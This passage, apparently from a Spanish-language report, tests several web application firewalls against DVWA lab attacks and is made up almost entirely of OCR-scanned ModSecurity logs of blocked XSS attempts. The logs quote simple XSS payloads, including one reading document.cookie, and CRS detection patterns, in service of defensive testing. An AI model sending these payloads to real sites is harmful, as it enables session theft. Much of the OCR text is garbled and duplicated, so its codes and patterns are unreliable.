1 2019/12/11 22:36:09 [error] 366580: "722 [client 192.168.1.110] ModSecurity: Access denied with code 403 (phase
2). detected XSS using libinjection. [file "/opt/waf/nginx/etc/modsec_rules/proxy-waf.com.ec/enabled_rules
/REQUEST-941-APPLICATION-ATTACK-XSS.conf™] {line "37"] [id "941100"] [rev ""] [msg "XSS Attack Detected via
libinjection”] [data "Matched Data: XSS data found within ARGS:default: <script
type="text/javascript">alert("XSS DOM");</script>"] [severity "2"] [ver "OWASP_CRS/3.2.0"] [maturity "0"]
[accuracy "0"] [tag "application-multi”] [tag "language-multi”] [tag "platform-multi”] [tag "attack-xss"] [tag
"paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/XSS"] [tag "WASCTC/WASC-8"] [tag
"WASCTC/WASC-22"] [tag "OWASP_TOP_10/A3"] [tag "OWASP_AppSensor/IE1"] [tag "CAPEC-242"] [hostname
"192.168.1.110%] [uri "/dvwa/vulnerabilities/xss_d/"] [unique_Iid "15761217697.081304"] [ref
"v41,5Ttutf8toUnicode,t:uriDecodeUni t:htmiEntityDecode,t:jsDecodet:cssDecode t:removeNulls"], client:
192.168.1.110, server: proxy-waf.com.ec, request: "GET /dvwa/vulnerabilities/xss_d
[2default=263Cscript®620type=2622text/javascript®6229%3Ealert(%22XSS5%2000M%22);%3C/script%3E
HTTP/1.1" host: "proxy-waf.com.ec"

2019/12/11 22:36:09 [error] 3665#0: *722 [client 192.168.1.110] ModSecurity:
Access denied with code 403 (phase 2). detected XSS using libinjection. [file
"lopt/waf/nginx/etc/modsec_rules/proxy-waf.com.ec/enabled_rules/REQUEST-
941-APPLICATION-ATTACK-XSS.conf"] [line "37"] [id "941100"] [rev "] [msg
"XSS Attack Detected via libinjection"] [data "Matched Data: XSS data found
within ARGS:default: <script type="text/javascript">alert("XSS DOM");</script>"]
[severity "2"] [ver "OWASP_CRS/3.2.0"] [maturity "0"] [accuracy "0"] [tag
"application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"]
[tag "paranocia-level/1"] [tag "OWASP_CRS"] [tag
"OWASP_CRS/WEB_ATTACK/XSS"] [tag "WASCTC/WASC-8"] [tag



"WASCTC/WASC-22"] [tag "OWASP_TOP_10/A3"] [tag
"OWASP_AppSensor/IE1"] [tag "CAPEC-242"] [hostname "192.168.1.110"] [uri
"/dvwa/vulnerabilities/xss_d/"] [unique_id "15761217697.081304"] [ref
"v41,57t:utf8toUnicode,t:urlDecodeUni,t:htmlEntityDecode,t:jsDecode,t:cssDeco
de,t:removeNulls"], client: 192.168.1.110, server: proxy-waf.com.ec, request:
"GET
/dvwal/vulnerabilities/xss_d/?default=%3Cscript%20type=%22text/javascript%22
%3Ealert(%22XSS%20D0M%22);%3C/script%3E HTTP/1.1", host: "proxy-
waf.com.ec"

» WAF Nginx

Los resultados obtenidos de este ataque al WAF, son los siguientes: Deteccion
y bloqueo.

Observando los logs del ataque en la consola del terminal, se puede obtener lo
siguiente:

2019/12/12 06:00:17 [error] 1154#8: [client 192.168.1.116] ModSecurity: Access denied with code 463 (phase 2). detected XSS using libinjection. [file “fusr/local/nginx/
conf/owasp-modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS. conf"] [line "60"] [id "941186"] [msg "XSS Attack Detected via libinjection"] [data "Matched Data: X
SS data found within ARGS:default: <script type=\x22text/javascript\x22>alert(\x22XSS DOM\x22);</script>"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "applicati
on-multi®] [tag "language-multi"] [tag "platform-multi”] [tag “"attack-xss"] [tag “paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB ATTACK/XSS"] [tag "WASCTC/WAS
C-8"] [tag "WASCTC/WASC-22"] [tag "OWASP_TOP_10/A3"] [tag "OWASP_AppSensor/TE1"] [tag "CAPEC-242"] [hostname "] [uri "/dvwa/vulnerabilities/xss_d/"] [unique_id "AcA2Ac
AchczeAcAcAJecAcAc "]

2019/12/12 06:00:17 [error] 1154#6: [client 192.168.1.116] ModSecurity: Audit log: Failed to lock global mutex: Permission denied [hostname ""] [uri "/dvwa/vulnerabilit
ies/xss_d/"] [unigue_id "AcA2AcAcAczcAcAcAJecAcAc”]

2019/12/12 06:80:17 [error] 1154#6: [client 192.168.1.116] ModSecurity: Audit log: Failed to unlock global mutex: Permission denied [hostname ""] [uri “/dvwa/vulnerabil
ities/xss_d/"] [unique_id "AcA2AcAcAczcAcAcAJecAcAc”]

2019/12/12 00:00:17 [error] 1154#0: [client 192.168.1.110] ModSecurity: Access
denied with code 403 (phase 2). detected XSS using libinjection. [file
"lusr/local/nginx/conf/owasp-modsecurity-crs/rules/REQUEST-941-

APPLICATION-ATTACK-XSS.conf"] [line "60"] [id "941100"] [msg "XSS Attack
Detected via libinjection”] [data "Matched Data: XSS data found within
ARGS:default: <script type=\x22text/javascript\x22>alert(\x22XSS
DOM\x22);</script>"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag
"application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"]

[tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag
"OWASP_CRS/WEB_ATTACK/XSS"] [tag "WASCTC/WASC-8"] [tag
"WASCTC/WASC-22"] [tag "OWASP_TOP_10/A3"] [tag

"OWASP_AppSensor/IE1"] [tag "CAPEC-242"] [hosthame "]  [uri
"/dvwal/vulnerabilities/xss_d/"] [unique_id "AcA2AcAcAczcAcAcAJecAcAc"]

Atague 9: XSS Reflected
» WAF ModSecurity Apache

Los resultados obtenidos de este ataque al WAF, son los siguientes: Deteccion
y bloqueo.

Observando los logs del ataque en la consola del terminal, se puede obtener lo
siguiente:



[Mon Dec @9 21:21:00.773550 2019] [:error] [pid 1682] [client 192.168.1.110:9988] [client 192.168.1.110] ModSecurity: Access
denied with code 483 (phase 2). Pattern match “(?i:([\\\\s VA" V\xc2\ \xbd\ \xe2\ \x88' \ x99} \xe2\ \x88\ \x 98\ M\ (W) T#2 )\ Ab ([
VA W) (VS T Ve 2\ b4\ \xe2 | \x 801 \ x99\ \xe2\ W80\ \x98\ AN (V) 1#2) (21 (2:=| <=>| r?like| sounds\\\\s+like | regexp) ([\
AL TV \Axe2\ \xb4 ) \xe 2\ \x8B\ \x99\ \xe2\ \x88\ \xIB\ VL (V) T2 N2V b | (21 1= <= ] >=[ <3| <[ | \\\\* | is\\\\s+not ..." at ARGS:n
ame. [file “/etc/httpd/modsecurity.d/activated rules/modsecurity crs_41 _sql_injection_attacks.conf”] [line “77"] [id "958961"
1 [rev “2"] [msg “SQL Injection Attack: SQL Tautology Detected.”] [data "Matched Data: h1»GABRIEL found within ARGS:name: <hl
GABRIEL</h1>"] [severity "CRITICAL"] [ver "OWASP CRS/2.2.9"] [maturity "9"] [accuracy "8"] [tag "OWASP_CRS/WEB ATTACK/SQL IN
JECTION"] [tag “WASCTC/WASC-19"] [tag "OWASP_TOP 10/A1"] [tag “OWASP AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname “proxy-waf.
com.ec”] [uri “/dvwa/vulnerabilities/xss r/"] [unique id "Xe8BDENVLLB8r5%wpcecwAAAAE"]

[Mon Dec 09 21:21:00.773550 2019] [.error] [pid 1682] |[client
192.168.1.110:9088] [client 192.168.1.110] ModSecurity: Access denied with
code 403 (phase 2). Pattern match
"(2i: (WS \Wxe2\\xb4\\xe 2\\x80\\x99\\xe 2\\x80\\x98\W\(\W) [*?) Wb (Wd\Ww] ++) ([
s\ \\xc2\\xb4\\xe2\\x80\\x99\\xe 2\\x80\\x98\\\(\\\)|*?) (?:(?:=|<=>|r?like|sound
s\\\s+like|regexp)([\Ws"\\" \\xc2\\xb4\\xe 2\\x80\\x99\\xe 2\\x80\\x 98\\\\(\\\) [*?)\\\2\
\Wb|(?:1=|<=]>=|<>|<|>|\\WWis\W\s+not at ARGS:name. [file
"letc/httpd/modsecurity.d/activated_rules/modsecurity_crs_41 sql_injection_att
acks.conf"] [line "77"] [id "950901"] [rev "2"] [msg "SQL Injection Attack: SQL
Tautology Detected.”] [data "Matched Data: h1>GABRIEL found within
ARGS:name: <h1>GABRIEL</h1>"] [severity "CRITICAL"] [ver
"OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "8"] [tag
"OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"]
[tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCl1/6.5.2"]
[hostname "proxy-waf.com.ec”] [uri "/dvwa/vulnerabilities/xss_r/"] [unique_id
"Xe8BDENVLLB8r590owpcecwAAAAE"]

> WAF Vulture

Los resultados obtenidos de este ataque al WAF, son los siguientes: Deteccion
y bloqueo.

Observando los logs del ataque en la consola del terminal, se puede obtener lo
siguiente:

[Wed Dec 11 00:35:52.209453 2019] [:error] [pid 739:tid 34385518080] [client 192.168.1.110:18377] [client 192.168.1.110] ModSecurity: Access denied with code 483 (phase
2). Operator GE matched 18 at TX:inbound anomaly score. [file "macro 'policy 5dddce?cbl149611d76cd31a score' (defined on line 328 of “/home/v1t-sys/Engine/conf/192.168
.1.40-80.conf") used on line 716 of “/home/v1t-sys/Engine/conf/192.168.1.48-89.conf""] [line "14"] [id "91"] [msg "Inbound anomaly score 82 exceeded threshold 18] [hos
tname “proxy-waf.com.ec”] [uri "/dvwa/vulnerabilities/xss_r/"] [unique_id "XFASG6K1VA7hQySiGMREoRAAMAEY"]

[Wed Dec 11 80:35:52.210141 2019] [:error] [pid 739:tid 34385518686] [client 192.168.1.110:18377] [client 192.168.1.118] ModSecurity: Warning. Operator GE matched 18 at
TX:inbound_anomaly_score. [file “/home/v1t-sys/Engine/conf/modsec/5dd6ed5bb11496027004b5a5. rules”] [1ine "73"] [id "988138"] [msg "Inbound Anomaly Score Exceeded (Tota
1 Inbound Score: 82 - SQLI=12,XSS=16,RFI=,LFI=,RCE=,PHPI= HTTP=,SESS=): "] [tag “event-correlation”] [hostname “proxy-waf.com.ec”] [uri "/dvwa/vulnerabilities/xss_r/"]
[unigue id "XFASEK1VATHy5i6MREORAAAAEY" ]

[Wed Dec 11 89:35:52.210458 2019] [:error] [pid 739:tid 34385518680] [client 192.168.1.110:18377] [client 192.168.1.110] ModSecurity: Warning. Operator GE matched 18 at
TX:inbound_anomaly score. [file “/home/v1t-sys/Engine/conf/modsec/5dd6e95bb11496027004b5a5. rules”] [1ine "73"] [id "98@13@"] [msg "Inbound Anomaly Score Exceeded (Tota
1 Inbound Score: 82 - SQLI=12,X55=16,RFI=,LFI=,RCE=,PHPI= HTTP=,SESS=): "] [tag "event-correlation"] [hostname "proxy-waf.com.ec"] [uri "/dvwa/vulnerabilities/xss r/"]
[unigue_id "XFASGK1VAThQy516MREORAAMAEY" ]

[Wed Dec 11 00:35:52.209453 2019] [:error] [pid 739:tid 34385518080] [client
192.168.1.110:18377] [client 192.168.1.110] ModSecurity: Access denied with
code 403 (phase 2). Operator GE matched 18 at TX:inbound_anomaly_score.
[file "macro 'policy_5dd4ce7cb1149611d76cd31a_score' (defined on line 328 of
"lhomel/vit-sys/Engine/conf/192.168.1.40-80.conf") used on line 710 of
"lhomel/vlt-sys/Engine/conf/192.168.1.40-80.conf™] [line "14"] [id "91"] [msg
“Inbound anomaly score 82 exceeded threshold 18"] [hostname "proxy-
waf.com.ec"] [uri "/dvwal/vulnerabilities/xss_r/"] [unique_id
"XfA56K1V47hQy5i6MRgoRAAAAEY"]



> WAF Waf2Py

Los resultados obtenidos de este ataque al WAF, son los siguientes: Deteccion
y bloqueo.

Observando los logs del ataque en la consola del terminal, se puede obtener lo
siguiente:

1 2019/12/11 22:42:11 [error] 3665#0: "728 [client 192.168.1.110] ModSecurity: Access denied with code 403 (phase
2). detected XSS using libinjection. [file "/opt/waf/nginx/etc/modsec_rules/proxy-wal.com.ec/enabled_rules
/REQUEST-941-APPLICATION-ATTACK-XSS.conf™] [line "37"] [id "941100"] [rev ""] [msg "XSS Attack Detected via
libinjection™] [data "Matched Data: XSS data found within ARGS:name: <script>alert{"GABRIEL")</script>"]
[severity "2"] [ver "OWASP_CRS/3.2.0"] [maturity "0"] [accuracy "0"] [tag "application-multi”] [tag "language-
multi"] [tag "platform-multi”] [tag "attack-xss”] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag
"OWASP_CRS/WEB_ATTACK/XSS"] [tag "WASCTC/WASC-8"] [tag "WASCTC/WASC-22"] [tag "OWASP_TOP_10/A3"]
[tag "OWASP_AppSensor/IE1"] [tag "CAPEC-242"] [hostname "192.168.1.110"] [uri "/dvwa/vulnerabilities
/xss_r/™] [unique_id "157612213191,795959"] [ref
"v38,33t:utf8toUnicode t:uriDecodeUni t:htmiEntityDecode,t:jsDecode t:cssDecode t:removeNulls®], client:
192.168.1.110, server: proxy-waf.com.ec, request: "GET /dvwa/vulnerabilities/xss_r
[Iname=%3Cscript3:3Ealert(%622GABRIEL%%22)%3C/script%3E HTTP/1.1" host: "proxy-waf.com.ec”

2019/12/11 22:42:11 [error] 3665#0: *728 [client 192.168.1.110] ModSecurity:
Access denied with code 403 (phase 2). detected XSS using libinjection. [file
"lopt/waf/nginx/etc/modsec_rules/proxy-waf.com.ec/enabled_rules/REQUEST-
941-APPLICATION-ATTACK-XSS.conf"] [line "37"] [id "941100"] [rev "] [msg
"XSS Attack Detected via libinjection"] [data "Matched Data: XSS data found
within  ARGS:name: <script>alert("GABRIEL")</script>"] [severity "2"] [ver
"OWASP_CRS/3.2.0"] [maturity "0"] [accuracy "0"] [tag "application-multi"] [tag
"language-multi"] [tag "platform-multi”] [tag "attack-xss"] [tag "paranoia-level/1"]
[tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/XSS"] [tag
"WASCTC/WASC-8"] [tag "WASCTC/WASC-22"] [tag "OWASP_TOP_10/A3"]
[tag "OWASP_AppSensor/IE1"] [tag "CAPEC-242"] [hostname "192.168.1.110"]
[uri "/dvwa/vulnerabilities/xss_r/"] [unique_id "157612213191.795959"] [ref
"v38,33t:utf8toUnicode,t:urlDecodeUni,t:htmlEntityDecode,t;jsDecode,t:cssDeco
de,t:removeNulls"], client: 192.168.1.110, server: proxy-waf.com.ec, request:
"GET
/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Ealert(%22GABRIEL%22)%3C
Iscript%3E HTTP/1.1", host: "proxy-waf.com.ec"

» WAF Nginx

Los resultados obtenidos de este ataque al WAF, son los siguientes: Deteccion
y bloqueo.

Observando los logs del atague en la consola del terminal, se puede obtener lo
siguiente:

] g | e s e s
2019/12/12 ©9:03:04 [error] 1154#8: [client 192.168.1.11@] ModSecurity: Access denied with code 403 (phase 2). detected XSS using libinjection. [file */usr/local/nginx/
conf/owasp-modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS. conf”] [Lline “68"] [id "94110@"] [msg "XSS Attack Detected via libinjection”] [data "Matched Data: X
SS data found within ARGS:name: <scriptralert(\x22gabriel\x22)</script>”] [severity “CRITICAL"] [ver "OWASP CRS/3.2.8"] [tag “"application-multi”] [tag "language-multi®]
[tag “platform-multi®] [tag “attack-xss"] [tag “paranoia-level/1"] [tag "OWASP_CRS"] [tag "OWASP CRS/WEB_ATTACK/XSS"] [tag "WASCTC/WASC-8"] [tag "WASCTC/WASC-22"] [tag

"O0WASP_TOP_10/A3"] [tag "OWASP_AppSensor/IE1"] [tag "CAPEC-242"] [hostname ""] [uri “/dvwa/vulnerabilities/xss_r/"] [unique_id "McAcAcAcspAcAcimAcAcAcrz”]

2019/12/12 ©9:03:04 [error] 1154#8: [client 192.168.1.118] ModSecurity: Audit log: Failed to lock global mutex: Permission denied [hostname "*] [uri "/dvwa/vulnerabilit

ies/xss_r/"] [unique_id "McAcAcAcspAcAcimAcAcAcrz”]

2019/12/12 ©6:03:04 [error] 1154#8: [client 192.168.1.118] ModSecurity: Audit log: Failed to unlock global mutex: Permission denied [hostmame ""] [uri "/dvwa/vulnerabil

ities/xss_r/"] [unique_id "McAcAcAcspAcAcimAcAcAcrz”]



2019/12/12 00:03:04 [error] 1154#0: [client 192.168.1.110] ModSecurity: Access
denied with code 403 (phase 2). detected XSS using libinjection. [file
"lusr/local/nginx/conf/owasp-modsecurity-crs/rules/REQUEST-941-
APPLICATION-ATTACK-XSS.conf"] [line "60"] [id "941100"] [msg "XSS Attack
Detected via libinjection”] [data "Matched Data: XSS data found within
ARGS:name: <script>alert(\x22gabriel\x22)</script>"] [severity "CRITICAL"] [ver
"OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag
"platform-multi”] [tag "attack-xss"] [tag "paranoia-level/1"] [tag "OWASP_CRS"]
[tag "OWASP_CRS/WEB_ATTACK/XSS"] [tag "WASCTC/WASC-8"] [tag
"WASCTC/WASC-22"] [tag "OWASP_TOP_10/A3"] [tag
"OWASP_AppSensor/IE1"] [tag "CAPEC-242"] [hosthame "]  [uri
"/dvwal/vulnerabilities/xss_r/"] [unique_id "McAcAcAcspAcAcimACACACrz"]

Ataque 10: XSS Stored
» WAF ModSecurity Apache

Los resultados obtenidos de este ataque al WAF, son los siguientes: Deteccion
y bloqueo.

Observando los logs del ataque en la consola del terminal, se puede obtener lo
siguiente:

[Mon Dec 89 21:37:17.367080 2019] [:error] [pid 1683] [client 192.168.1.110:9227] [client 192.168.1.118] ModSecurity: Access
denied with code 483 (phase 2). Pattern match "(2i:([NWA\AS WL Wxe2\ \xba\ \xe2\ \x804 \x99 \xe2 \ \x80\ \x 28\ \ N (VW) T* 2\ Wb ([
AT+ (LS W Ve 2\ x4\ a2\ kB0 \ x99\ 2 \ \xBB\\xIB\\ N\ (A ) 1%2) (2 (2:=| <=> | r?Like| sounds\\\\s+1ike | regexp) [\
ANAS AT VeV Axb4\ \xe2\ X881 x99 \xe2\ \x 88\ \x I8\ NN (VAN) T#2 NN | (22 =] <=] >=] <> <[> [ \\ A\ [is\\\\s+not ..." at ARGS:m
txMessage. [file "/etc/httpd/modsecurity.d/activated_rules/modsecurity_crs_41_sql_injection_attacks.conf”] [line "77"] [id "9
58901"] [rev "2"] [msg "SQL Injection Attack: SQL Tautology Detected.”] [data "Matched Data: scriptsalert found within ARGS:m
txMessage: <scriptralert(document.cookie)</script>"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "
8"] [tag "OWASP CRS/WEB ATTACK/SQL INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP TOP 18/A1"] [tag "OWASP AppSensor/CIE1"] [t

ag "PCI/6.5.2"] [hostname “proxy-waf.com.ec”] [uri "/dvwa/vulnerabilities/xss_s/"] [unique_id "Xe8E3d9ZVAPKTVEF2ib8AgAAAAT"],
referer: http://proxy-waf.com.ec/dvwa/vulnerabilities/xss s/

[Mon Dec 09 21:37:17.367080 2019] [:error] [pid 1683] |[client
192.168.1.110:9227] [client 192.168.1.110] ModSecurity: Accessdenied with
code 403 (phase 2). Pattern match
"(?1: (WS \Wxe2\\xb4\\xe 2\\x80\\x99\\xe 2\\x80\\x 98\ (\WW) [*?)WWb (WA \\W\w ] ++) ([
WS\ \\xc2\\xb4\\xe2\\x80\\x99\\xe 2\\x80\\x98\\\(\\\)]*?) (?:(?:=|<=>|r?like|sound
s\Ws+like|regexp)([\Ws"\\" \\xc2\\xb4\\xe 2\\x80\\x99\\xe 2\\x80\\x 98\\\\(\\\) [*?)\\\2\
\\b|(?:!=|<=]>=|<>|<[>[\WWis\Ws+not  ..." at ARGS:mtxMessage. [file
"letc/httpd/modsecurity.d/activated_rules/modsecurity_crs_41 sqgl_injection_att
acks.conf"] [line "77"] [id "950901"] [rev "2"] [msg "SQL Injection Attack: SQL
Tautology Detected.”] [data "Matched Data: script>alert found within
ARGS:mtxMessage: <script>alert(document.cookie)</script>"] [severity
"CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "8"] [tag
"OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"]
[tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"]
[hostname "proxy-waf.com.ec"] [uri "/dvwalvulnerabilities/xss_s/"] [unique_id
"Xe8E3d9ZV4PKTV6f2iIb8AgAAAAI", referer: http://proxy-
waf.com.ec/dvwa/vulnerabilities/xss_s/



> WAF Vulture

Los resultados obtenidos de este ataque al WAF, son los siguientes: Deteccion
y bloqueo.

Observando los logs del ataque en la consola del terminal, se puede obtener lo
siguiente:

[Wed Dec 11 00:49:06.876972 2019] [:error] [pid 739:tid 34385518088] [client 192.168.1.110:184@1] [client 192.168.1.118] ModSecurity: Warning. Match of "eq 1" against "
BARGS:CSRF_TOKEN" required. [file "/home/vlt-sys/Engine/conf/modsec/5dddce7bbl149611d76cd3@e.rules”] [1ine “5"] [id "1201"] [msg "POST request missing the CSRF token."]
[tag "csrf_protection"] [hostname "proxy-waf.com.ec™] [uri "/dwwa/vulnerabilities/xss s/"] [unique_id "XfA65q1VA7hQy5i6MRgoRWAAAEY"], referer: http://proxy-waf.com.ec/
dvwa/vulnerabilities/xss_s/

[Wed Dec 11 00:40:06.164864 2019] [:error] [pid 739:tid 34385518080] [client 192.168.1.110:18401] [client 192.168.1.118] ModSecurity: Access denied with code 403 (phase
2). Operator GE matched 18 at TX:inbound_anomaly score. [file "macro 'policy 5dddce7cb1149611d76cd31a_score’ (defined on line 328 of “/home/vlt-sys/Engine/conf/192.168
.1.40-80.conf") used on line 718 of "/home/vlt-sys/Enginefconf/192.168.1.40-80.conf""] [line "14"] [id "91"] [msg "Inbound anomaly score 74 exceeded threshold 18"] [hos
tname “proxy-waf.com.ec"] [uri “/dwwa/vulnerabilities/xss_s/"] [unique_id "XfA65q1V47hQySi6MRgoRwAAAEY"], referer: http://proxy-waf.com.ec/dvwa/vulnerabilities/xss_s/
[Wed Dec 11 00:40:06.165475 2019] [:error] [pid 739:tid 34385518080] [client 192.168.1.110:18401] [client 192.168.1.118] ModSecurity: Warning. Operator GE matched 18 at
TX:inbound_anomaly_score. [file "/home/v1t-sys/Engine/conf/modsec/5dd6e95bb11496627684b5a5.rules”] [line "73"] [id "980136"] [msg "Inbound Anomaly Score Exceeded (Tota
1 Inbound Score: 74 - SQLI=8,XSS=2@,RFI=,LFI= RCE=,PHPI= HTTP=,SESS=): "] [tag "event-correlation"] [hostname "proxy-waf.com.ec”] [uri "/dvwa/vulnerabilities/xss s/"] [
unique_id "XfA65g1VA7hQy5i6MRgoRWAMAEY"], referer: http://proxy-waf.com.ec/dvwa/vulnerabilities/xss_s/

[Wed Dec 11 00:40:06.165648 2019] [:error] [pid 739:tid 34385518080] [client 192.168.1.110:18401] [client 192.168.1.118] ModSecurity: Warning. Operator GE matched 18 at
TX:inbound_anomaly_score. [file "/home/v1t-sys/Engine/conf/modsec/5dd6e95bb11496627684b5a5.rules”] [line "73"] [id "980136"] [msg "Inbound Anomaly Score Exceeded (Tota
1 Inbound Score: 74 - SQLI=8,XSS=2@,RFI=,LFI= RCE=,PHPI= HTTP=,SESS=): "] [tag "event-correlation"] [hostname "proxy-waf.com.ec”] [uri "/dvwwa/vulnerabilities/xss_s/"] [
unique_id "XfA65g1VA7hQy5i6MRgoRWAMAEY"], referer: http://proxy-waf.com.ec/dvwa/vulnerabilities/xss_s/

[Wed Dec 11 00:40:06.164864 2019] [:error] [pid 739:tid 34385518080] [client
192.168.1.110:18401] [client 192.168.1.110] ModSecurity: Access denied with
code 403 (phase 2). Operator GE matched 18 at TX:inbound_anomaly_score.
[file "macro 'policy 5dd4ce7cb1149611d76cd31la_score' (defined on line 328 of
"lhomel/vit-sys/Engine/conf/192.168.1.40-80.conf) used on line 710 of
"lhomel/vit-sys/Engine/conf/192.168.1.40-80.conf™] [line "14"] [id "91"] [msg
“Inbound anomaly score 74 exceeded threshold 18"] [hosthame "proxy-
waf.com.ec"] [uri "/dvwal/vulnerabilities/xss_s/"] [unique_id
"XfA65q1V47hQy5i6MRgoRWAAAEY"], referer: http://proxy-
waf.com.ec/dvwa/vulnerabilities/xss_s/

> WAF Waf2Py

Los resultados obtenidos de este ataque al WAF, son los siguientes: Deteccion
y bloqueo.

Observando los logs del ataque en la consola del terminal, se puede obtener lo
siguiente:

2016/12/11 22:45:36 [error] 366520: *732 [client 192.168.1.110] ModSecurity: Access denied with code 403 (phase
2). detected XSS using libinjection. [file "/opt/waf/nginx/etc/modsec_rules/proxy-waf.com.ec/enabled_rules
/REQUEST-S41-APPLICATION-ATTACK-XSS.conf™] {line "37"] [id "941100"] [rev ""] [msg "XSS Attack Detected via
libinjection"] [data "Matched Data: XSS data found within ARGS:mtxMessage: <script>alert{document.cookie)
</script>"] [severity "2"] [ver "OWASP_CRS/3.2.0"] [maturity "0"] [accuracy "0"] [tag "application-multi"] [tag
"language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag
"OWASP_CRS/WEB_ATTACK/XSS"] [tag "WASCTC/WASC-8"] [tag "WASCTC/WASC-22"] [tag "OWASP_TOP_10/A3"]
[tag "OWASP_AppSensor/IEL"] [tag "CAPEC-242"] [hostname "192.168.1.110"] [uri "/dvwa/vulnerabilities
/xss_s/"] [unique_id "157612233691.855907"] [ref

"v615,3%t:utf8toUnicode,t:urlDecodeUni t:htmlEntityDecode,t:jsDecode t:cssDecode,t:removeNulls”], client:
192,168.1.110, server: proxy-waf.com.ec, request: "POST /dvwa/vulnerabilities/xss_s/ HTTP/1.1", host: "proxy-
waf.com.ec”, referrer: "http://proxy-waf.com.ec/dvwa/vulnerabilities/xss_s/" |

2019/12/11 22:45:36 [error] 3665#0: *732 [client 192.168.1.110] ModSecurity:
Access denied with code 403 (phase 2). detected XSS using libinjection. [file
"lopt/waf/nginx/etc/modsec_rules/proxy-waf.com.ec/enabled_rules/REQUEST-



941-APPLICATION-ATTACK-XSS.conf"] [line "37"] [id "941100"] [rev "] [msg
"XSS Attack Detected via libinjection"] [data "Matched Data: XSS data found
within ARGS:mtxMessage: <script>alert(document.cookie)</script>"] [severity
"2"] [ver "OWASP_CRS/3.2.0"] [maturity "0"] [accuracy "0"] [tag "application-
multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag

"paranoia-level/1"] [tag "OWASP_CRS"] [tag
"OWASP_CRS/WEB_ATTACK/XSS"] [tag "WASCTC/WASC-8"] [tag
"WASCTC/WASC-22"] [tag "OWASP_TOP_10/A3"] [tag

"OWASP_AppSensor/IE1"] [tag "CAPEC-242"] [hostname "192.168.1.110"] [uri
"/dvwa/vulnerabilities/xss_s/"]  [unique_id  "157612233691.855907"]  [ref
"v615,39t:utf8toUnicode,t:urlDecodeUni,t:htmlEntityDecode,t:jsDecode,t:cssDec
ode,t:removeNulls"], client: 192.168.1.110, server: proxy-waf.com.ec, request:
"POST /dvwalvulnerabilities/xss_s/ HTTP/1.1", host: "proxy-waf.com.ec",
referrer: "http://proxy-waf.com.ec/dvwa/vulnerabilities/xss_s/"

» WAF Nginx

Los resultados obtenidos de este ataque al WAF, son los siguientes: Deteccion
y bloqueo.

Observando los logs del ataque en la consola del terminal, se puede obtener lo
siguiente:

2019/12/12 ©0:05:00 [error] 1154#0: [client 192.168.1.116] ModSecurity: Access denied with code 483 (phase 2). detected XSS using libinjection. [file “/usr/local/nginx/
conf/owasp-modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS . conf"] [line "60"] [id "94110@"] [msg "XSS Attack Detected via libinjection"] [data "Matched Data: X
SS data found within ARGS:mtxMessage: <script»alert(document.cookie)</script»"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.8"] [tag “application-multi"] [tag "language-m
ulti"] [tag “platform-multi"] [tag "attack-xss"] [tag “parancia-level/1"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/XSS"] [tag "WASCTC/WASC-8"] [tag "WASCTC/WASC-22"
] [tag "OWASP_TOP 18/A3"] [tag "OWASP AppSensor/IE1"] [tag "CAPEC-242"] [hostname "*] [uri “/dvwa/vulnerabilities/xss s/"] [unique id "AEpcAcACNCAWACACACAUACPC”]
2019/12/12 ©0:05:00 [error] 1154#0: [client 192.168.1.116] ModSecurity: Audit log: Failed to lock global mutex: Permission denied [hostname "] [uri "/dvwa/vulnerabilit
ies/xss_s/"] [unique_id "AEpcAcACNcAwAcAcAcAUAcpc”]

2019/12/12 ©0:05:00 [error] 1154#0: [client 192.168.1.118] ModSecurity: Audit log: Failed to unlock global mutex: Permission denied [hostname ""] [uri “/dvwa/vulnerabil
ities/xss_s/"] [unique_id "AEpcAcACNcAwAcAcAcAUACpc”]

2019/12/12 00:05:00 [error] 1154#0: [client 192.168.1.110] ModSecurity: Access
denied with code 403 (phase 2). detected XSS using libinjection. [file
"lusr/local/nginx/conf/owasp-modsecurity-crs/rules/REQUEST-941-
APPLICATION-ATTACK-XSS.conf"] [line "60"] [id "941100"] [msg "XSS Attack
Detected via libinjection”] [data "Matched Data: XSS data found within
ARGS:mtxMessage: <script>alert(document.cookie)</script>"] [severity
"CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-
multi*] [tag "platform-multi'] [tag "attack-xss"] [tag "paranoia-level/1"] [tag
"OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/XSS"] [tag
"WASCTC/WASC-8"] [tag "WASCTC/WASC-22"] [tag "OWASP_TOP_10/A3"]
[tag "OWASP_AppSensor/IE1"] [tag "CAPEC-242"] [hosthame ™] [uri
"/dvwa/vulnerabilities/xss_s/"] [unique_id "AEpcACACNCcAWACACACAUAcpC"]



